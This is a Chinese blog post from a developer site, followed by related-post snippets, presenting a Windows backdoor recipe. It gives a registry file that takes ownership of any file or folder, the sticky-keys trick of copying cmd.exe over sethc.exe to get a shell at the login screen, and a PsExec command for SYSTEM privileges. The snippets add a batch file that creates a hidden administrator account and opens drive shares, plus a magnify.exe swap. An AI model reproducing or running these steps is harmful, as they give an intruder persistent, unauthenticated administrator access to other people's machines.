windows后门

最新推荐文章于 2025-06-22 13:18:31 发布
最新推荐文章于 2025-06-22 13:18:31 发布
阅读量1k 收藏 4
点赞数
CC 4.0 BY-SA版权
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.youkuaiyun.com/kali3426/article/details/80910130
本文介绍了一种通过修改注册表来快速获取Windows系统中任意文件夹管理员权限的方法，并提供了具体的步骤指导。

摘要生成于 C知道 ，由 DeepSeek-R1 满血版支持， 前往体验 >

1、打开记事本，输入下列文本：

Windows Registry Editor Version 5.00

[HKEY_CLASSES_ROOT\*\shell\runas]

@="获取权限"

"NoWorkingDirectory"=""

[HKEY_CLASSES_ROOT\*\shell\runas\command]

@="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"

"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" && icacls \"%1\" /grant administrators:F"

[HKEY_CLASSES_ROOT\Directory\shell\runas]

@="获取权限"

"NoWorkingDirectory"=""

[HKEY_CLASSES_ROOT\Directory\shell\runas\command]

@="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"

"IsolatedCommand"="cmd.exe /c takeown /f \"%1\" /r /d y && icacls \"%1\" /grant administrators:F /t"

2、然后保存为导入.reg文件；

3、然后双击导入.reg；

获取system32文件夹权限后

cmd输入copy cmd.exe sethc.exe即可通过5次shift进入cmd


提权system姿势：

PsExec -s -i explorer.exe

a_16
关注
【应急响应】Windows应急响应手册（远控后门篇）
李火火的安全圈
07-19 1387
本篇文章以实战攻防过程中对于远程控制和恶意程序运行等利用手段做后续的应急排查工作，根据所能获取到的信息进一步跟踪动向进行排查处置。
windows后门程序windows后门程序
02-02
windows后门程序windows后门程序wiwindows后门程序ndows后门程序
WINDOWS后门
weixin_44253823的博客
07-20 762
打开记事本，输入如下文本： cd c:\windows\system32 takeown /f magnify.exe icacls magnify.exe /grant administrators:F ren magnify_back.exe copy cmd.exe magnify.exe 写完后保存为back.bat，存在C盘test目录下。 接下来，打开“我的电脑”，进入C...
应急响应：Windows权限维持--后门篇
最新发布
鹿鸣天涯
06-22 898
利用COM劫持技术，最为关键的是dll的实现以及CLSID的选择，通过修改CLSID下的注册表键值，实现对CAccPropServicesClass和MMDeviceEnumerator劫持，而系统很多正常程序启动时需要调用这两个实例。如果攻击者能够控制其中的某一 个目录，并且放一个恶意的DLL文件到这个目录下，这个恶意的DLL便会被进程所加载，从而造成代码执行。管理员在平时运维过程应当保持警惕，掌握一定的入侵排查技巧，及时进行系统补丁更新，定期对服务器安全检查，才能有效地预防后门。
Windows系统的四个后门
weixin_33850890的博客
11-19 343
　　后门是***者出入系统的通道，惟其如此它隐蔽而危险。***者利用后门技术如入无人之境，这是用户的耻辱。针对Windows系统的后门是比较多的，对于一般的后门也为大家所熟知。下面笔者揭秘四个可能不为大家所 ...　　后门是***者出入系统的通道，惟其如此它隐蔽而危险。***者利用后门技术如入无人之境，这是用户的耻辱。针对Windows系统的后门是比较多的，对于一般的后门也为...
最酷的windows后门 呵呵
FreeXploiT
08-24 7667
后门原理： 转至：小章 blog http://blog.youkuaiyun.com/scz123/archive/2007/03/14/1528695.aspx在windows 2000/xp/vista下，按shift键5次，可以打开粘置，会运行sethc.exe，而且，在登录界面里也可以打开。这就让人联想到WINDOWS的屏保，将程序替换成cmd.exe后，就可以打开shell了。参考Mcaf
蓝队必备技能——windows后门病毒应急响应
2301_80115097的博客
04-24 1033
大家好 我是spider。今天出一期应急响应。hw在即你还是初级？学习一下子吧 兄弟，我给大家整实际案例上去本期木有太多废话 都是干活 直接上思路和步骤。
Python-一个隐藏的基于Python的Windows后门
08-10
标题提到的"Python-一个隐藏的基于Python的Windows后门"就是一个典型的例子，展示了Python在创建隐蔽、功能强大的后门程序方面的潜力。 后门程序通常是黑客为了长期控制目标系统而植入的一种隐蔽通道。它们可以绕过...
gdog：使用Gmail作为C＆C服务器的功能齐全的Windows后门
02-06
基于Python的隐形Windows后门，使用Gmail作为命令和控制服务器 该项目的灵感来自byt3bl33d3r的gcat（ ）。 要求 Python 2.x PyCrypto模块 WMI模块 Enum34模块 Netifaces模块 产品特点 加密的运输消息（AES）+ SHA...
Windows——利用"轻松访问"创建Windows后门
浅浅的博客
02-25 1722
实验环境：虚拟机Win7 概要：当我们每次开启电脑时，都会出现如下界面，点击下图左下角所示的图标——，就会出现 "轻松访问" 的对话框，勾选对话框上任意复选框，系统就会执行其相应的功能！注意，重点来了，这样是不是就意味着，只要我们将 'cmd' 应用程序重命名为 "轻松访问" 选项中任一程序（比如：朗读屏幕内容(讲述人)，程序名为Narrator) 的名字，在我们勾选 "讲述人" 复选框并执行...
windows 后门
bylfsj的博客
10-16 478
1.命令行后门 2.账号后门 3.rootkit 4.服务后门 5.shift后门 6.放大镜后门 7. web后门 7.1shell下的常用组件 7.2 命令行执行组件 7.3免杀
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-4：启动项后门
qq_51577576的博客
11-19 1094
[ 应急响应进阶篇-1 ] Windows 创建后门并进行应急处置-4：启动项后门 1.4.1 启动项后门介绍 1.4.1.1 简介 1.4.1.2 原理 1.4.1.3 实现步骤 1.4.1.4 防御措施 1.4.1.5 应用场景 1.4.2 启动项后门创建实战 1.4.2.1 前提条件 1.4.2.2 环境介绍 1.4.2.3 利用MSF生成一个EXE类型的后门木马 1.4.2.4 MSF 启动监听 1.4.2.5 将后门放在 Windows启动项 1.4.2.6 重启 windows
最酷的windows后门
menuconfig的专栏
10-15 1895
后门原理： 转至：小章 blog http://blog.youkuaiyun.com/scz123/archive/2007/03/14/1528695.aspx在windows 2000/xp/vista下，按shift键5次，可以打开粘置，会运行sethc.exe，而且，在登录界面里也可以打开。这就让人联想到WINDOWS的屏保，将程序替换成cmd.exe后，就可以打开shell了。参考Mcaf
内网渗透-windows持久性后门
weixin_72849553的博客
02-05 1846
前不久进行了一次钓鱼，对方电脑是win7系统，加上有杀软，最后因为电脑关机，失去了权限。整理下从木马上线到快速建立后门的方法。本次只写出了一部分建立持久性后门的方法，还有许多方法没有进行演示，大部门方法都是对注册表进行更改，无法绕过杀软。
微软服务器操作系统后门,Windows操作系统后门
weixin_34357614的博客
08-10 677
粘滞键后门在windows上连续按5次“Shift”，就可以调出粘滞键。方法一：将C:\Windows\System32目录下的sethc.exe替换如果目标机是 winvista 以上的，即 winvista 以后出的系统，修改 sethc 会提示需要 trustedinstaller 权限，所以想要继续，那就需要修改所有者为Administrator，并修改其权限：修改完成后以管理员身份运行执...
代码篇——————windows后门代码
longger_lee
03-21 1080
@echo off      @net user zzunble zzunble.net /add @net localgroup administrators zzunble /add @net share c$=c: @net share d$=d: @net share e$=e: @net share f$=f: @echo 3>c:\windows\system32\t1.
【权限维持】window服务端常见后门技术
10-20 1440
0x00 前言 　　未知攻焉知防，攻击者在获取服务器权限后，通常会用一些后门技术来维持服务器权限，服务器一旦被植入后门，攻击者如入无人之境。这里整理一些window服务端常见的后门技术，了解攻击者的常见后门技术，有助于更好去发现服务器安全问题。 常见的后门技术列表： 1、隐藏、克隆账户 2、shift后门 3、启动项、计划任务 4、劫持技术 5、Powershell后门 ...
Windows持续化后门
小晓晓晓林的博客
02-20 2229
Windows权限维持 环境：Win10、Win7、Winxp虚拟机等 0x01 shift后门 windows中有一些辅助功能，能在用户未登录系统之前可以通过组合键来启动它，类似的辅助功能有： C:\Windows\System32\sethc.exe粘滞键，启动快捷键：按五次shift键 C:\Windows\System32\utilman.exe设置中心，启动快捷键：W...
kail生成windows后门
06-21
### 使用Kali工具生成Windows后门的技术信息 在Kali Linux中，`msfvenom` 是一个强大的工具，用于生成各种类型的恶意软件（如后门）。以下是生成Windows后门的具体方法和技术细节[^3]。 #### 1. 基本命令结构 生成...
评论 1
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值